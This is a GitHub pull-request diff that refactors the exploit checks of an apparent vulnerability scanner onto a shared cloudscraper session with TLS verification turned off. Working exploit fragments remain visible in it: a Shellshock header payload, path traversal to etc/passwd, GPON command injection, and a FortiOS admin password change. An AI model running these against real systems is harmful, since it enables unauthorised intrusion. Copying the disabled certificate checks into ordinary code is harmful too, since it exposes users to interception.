Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix/refactor to use clouscraper #127

Merged
merged 8 commits into from
Oct 25, 2024
Merged
Show file tree
Hide file tree
Changes from 7 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions .mypy.ini
Original file line number Diff line number Diff line change
Expand Up @@ -31,4 +31,13 @@ ignore_missing_imports = True
ignore_missing_imports = True

[mypy-adb_shell.*]
ignore_missing_imports = True

[mypy-cloudscraper.*]
ignore_missing_imports = True

[mypy-jaydebeapi.*]
ignore_missing_imports = True

[mypy-pysnmp.*]
ignore_missing_imports = True
1 change: 1 addition & 0 deletions agent/asteroid_agent.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,7 @@
from agent import definitions
from agent import exploits


logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
Expand Down
50 changes: 46 additions & 4 deletions agent/definitions.py
Original file line number Diff line number Diff line change
@@ -1,18 +1,24 @@
"""Agent Asteriod definitions"""

import abc
import ssl
import dataclasses
from packaging import version
from typing import Any

import requests
import cloudscraper
from packaging import version
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin

from agent.exploits import common

MAX_REDIRECTS = 2


@dataclasses.dataclass
class Target:
"""Target dataclass"""
"""Target dataclass."""

scheme: str
host: str
Expand Down Expand Up @@ -51,9 +57,45 @@
risk_rating: str = "CRITICAL"


class SSLAdapter(requests.adapters.HTTPAdapter):
def init_poolmanager(self, *args: Any, **kwargs: dict[str, Any]) -> Any:
"""
Initializes the pool manager for handling HTTPS connections.

This method overrides the default implementation to customize the SSL context
for HTTPS connections, specifically to disable SSL verification and hostname checking.

Args:
*args: Variable length argument list. Passed to the parent method.
**kwargs: Keyword arguments. Passed to the parent method, after the override
of the ssl_context parameter.

Returns:
PoolManager: An instance of PoolManager configured with the provided SSL context.
"""
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
kwargs["ssl_context"] = context # type:ignore[assignment]
return super().init_poolmanager(*args, **kwargs) # type:ignore[no-untyped-call]


class HttpSession(cloudscraper.CloudScraper): # type:ignore[no-any-unimported,misc]
"""Wrapper for the requests session class."""

def __init__(self) -> None:
super().__init__()
self.max_redirects = MAX_REDIRECTS
self.verify = False
self.mount("https://", SSLAdapter())


class Exploit(abc.ABC):
"""Base Exploit"""

def __init__(self) -> None:
self.session = HttpSession()

@abc.abstractmethod
def accept(self, target: Target) -> bool:
"""Rule: heuristically detect if a specific target is valid.
Expand All @@ -64,7 +106,7 @@
Returns:
True if the target is valid; otherwise False.
"""
pass
raise NotImplementedError()

Check warning on line 109 in agent/definitions.py

View check run for this annotation

Codecov / codecov/patch

agent/definitions.py#L109

Added line #L109 was not covered by tests
ErebusZ marked this conversation as resolved.
Show resolved Hide resolved

@abc.abstractmethod
def check(self, target: Target) -> list[Vulnerability]:
Expand All @@ -76,7 +118,7 @@
Returns:
List of identified vulnerabilities.
"""
pass
raise NotImplementedError()

Check warning on line 121 in agent/definitions.py

View check run for this annotation

Codecov / codecov/patch

agent/definitions.py#L121

Added line #L121 was not covered by tests

@property
def __key__(self) -> str:
Expand Down
15 changes: 4 additions & 11 deletions agent/exploits/cve_2014_0780.py
Original file line number Diff line number Diff line change
@@ -1,9 +1,9 @@
"""Agent Asteroid implementation for CVE-2014_0780."""

import requests
from requests import exceptions as requests_exceptions
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry
Expand All @@ -18,7 +18,6 @@

DEFAULT_TIMEOUT = 90
ErebusZ marked this conversation as resolved.
Show resolved Hide resolved
DEPTH = 10
MAX_REDIRECTS = 2


@exploits_registry.register
Expand All @@ -28,19 +27,13 @@
"""

def accept(self, target: definitions.Target) -> bool:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
try:
session.get(target.origin, timeout=DEFAULT_TIMEOUT)
self.session.get(target.origin, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return True

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
file_names = ["boot.ini", "etc/passwd"]
for file_name in file_names:
levels = "../" * DEPTH
Expand All @@ -50,8 +43,8 @@
r = requests.Request(method="GET", url=url)
prep = r.prepare()
prep.url = url
response = session.send(prep, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
response = self.session.send(prep, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:

Check warning on line 47 in agent/exploits/cve_2014_0780.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2014_0780.py#L47

Added line #L47 was not covered by tests
return []

if response.status_code == 200 and "Sending file" in response.text:
Expand Down
15 changes: 5 additions & 10 deletions agent/exploits/cve_2014_7169.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
"""Agent Asteroid implementation for CVE-2014-7169"""

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions
Expand All @@ -26,32 +25,28 @@
PAYLOAD_TEMPLATE = "() { :;}; /bin/bash -c 'sleep %s'"
MAX_DELAY_DIFFERENCE = 5
DELAYS = [30, 40, 50, 60]
MAX_REDIRECTS = 2


@exploits_registry.register
class CVE20147169Exploit(definitions.Exploit):
"""CVE-2014-7169: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability."""

def accept(self, target: definitions.Target) -> bool:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
if target.path.endswith(".cgi") is False:
return False
try:
resp = session.get(target.url, timeout=DEFAULT_TIMEOUT)
resp = self.session.get(target.url, timeout=DEFAULT_TIMEOUT)

Check warning on line 38 in agent/exploits/cve_2014_7169.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2014_7169.py#L38

Added line #L38 was not covered by tests
except requests_exceptions.RequestException:
return False
return resp.status_code == 200
if resp.status_code == 200:
return True
return False

Check warning on line 43 in agent/exploits/cve_2014_7169.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2014_7169.py#L41-L43

Added lines #L41 - L43 were not covered by tests

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
for delay in DELAYS:
payload = PAYLOAD_TEMPLATE % delay
try:
resp = session.get(
resp = self.session.get(
target.url,
headers={
"User-Agent": payload,
Expand Down
15 changes: 4 additions & 11 deletions agent/exploits/cve_2016_2386.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,11 +3,11 @@
import re
from urllib import parse as urlparse

import requests
from packaging import version
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from packaging import version
from requests import exceptions as requests_exceptions

from agent import definitions
from agent import exploits_registry

Expand Down Expand Up @@ -43,7 +43,6 @@
</soapenv:Envelope>
"""
PERMISSION_KEYWORD = "deletePermissionByIdResponse"
MAX_REDIRECTS = 2


@exploits_registry.register
Expand All @@ -53,11 +52,8 @@ class CVE20162386Exploit(definitions.Exploit):
"""

def accept(self, target: definitions.Target) -> bool:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
try:
resp = session.get(target.origin, timeout=DEFAULT_TIMEOUT)
resp = self.session.get(target.origin, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
server = resp.headers.get("server", "Unknown")
Expand All @@ -68,11 +64,8 @@ def accept(self, target: definitions.Target) -> bool:
return LOWER_VULNERABLE_VERSION <= target_version <= UPPER_VULNERABLE_VERSION

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
try:
resp = session.post(
resp = self.session.post(
urlparse.urljoin(target.origin, TARGET_ENDPOINT),
headers=HEADERS,
data=PAYLOAD,
Expand Down
14 changes: 3 additions & 11 deletions agent/exploits/cve_2018_10561.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
"""Agent Asteroid implementation for CVE-2018-10561"""

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions
Expand All @@ -16,29 +15,22 @@
)

DEFAULT_TIMEOUT = 90
MAX_REDIRECTS = 2


@exploits_registry.register
class CVE201810562Exploit(definitions.Exploit):
"""CVE-2018-10562: Dasan GPON Routers Command Injection Vulnerability."""

def accept(self, target: definitions.Target) -> bool:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
try:
session.get(target.origin, timeout=DEFAULT_TIMEOUT)
self.session.get(target.origin, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False

# TODO(alaeddine): Consider testing for '/?images/', '/GponForm/diag_Form?images/', '/diag.html?images/'.
return True

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
data = {
"XWebPageName": "diag",
"diag_action": "ping",
Expand All @@ -49,12 +41,12 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
}

try:
session.post(
self.session.post(
target.origin + "/GponForm/diag_Form?images/",
data=data,
timeout=DEFAULT_TIMEOUT,
)
response = session.get(
response = self.session.get(
target.origin + "/diag.html?images/",
timeout=DEFAULT_TIMEOUT,
)
Expand Down
20 changes: 8 additions & 12 deletions agent/exploits/cve_2018_13382.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
"""Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target."""

import requests
from urllib3 import exceptions
from urllib3 import disable_warnings

from requests import exceptions as requests_exceptions
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from ostorlab.agent.kb import kb

Expand All @@ -19,7 +20,6 @@
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
MAX_REDIRECTS = 2


@exploits_registry.register
Expand All @@ -29,20 +29,14 @@
"""

def accept(self, target: definitions.Target) -> bool:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
try:
url = f"{target.origin}/remote/login?lang=en"
r = session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
r = self.session.get(url, headers=HEADERS, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:

Check warning on line 35 in agent/exploits/cve_2018_13382.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2018_13382.py#L35

Added line #L35 was not covered by tests
return False
return r.status_code == 200 and "<title>Please Login</title>" in r.text

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
session = requests.Session()
session.max_redirects = MAX_REDIRECTS
session.verify = False
url = f"{target.origin}/remote/login?lang=en"
# we are trying to change the password for the user : admin
data = {
Expand All @@ -55,8 +49,10 @@
"credential2": "ChangePassword",
}
try:
res = session.post(url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT)
except requests.exceptions.RequestException:
res = self.session.post(
url, headers=HEADERS, data=data, timeout=DEFAULT_TIMEOUT
)
except requests_exceptions.RequestException:

Check warning on line 55 in agent/exploits/cve_2018_13382.py

View check run for this annotation

Codecov / codecov/patch

agent/exploits/cve_2018_13382.py#L55

Added line #L55 was not covered by tests
return []

if res.status_code == 200 and "redir=/remote/hostcheck_install" in res.text:
Expand Down
Loading
Loading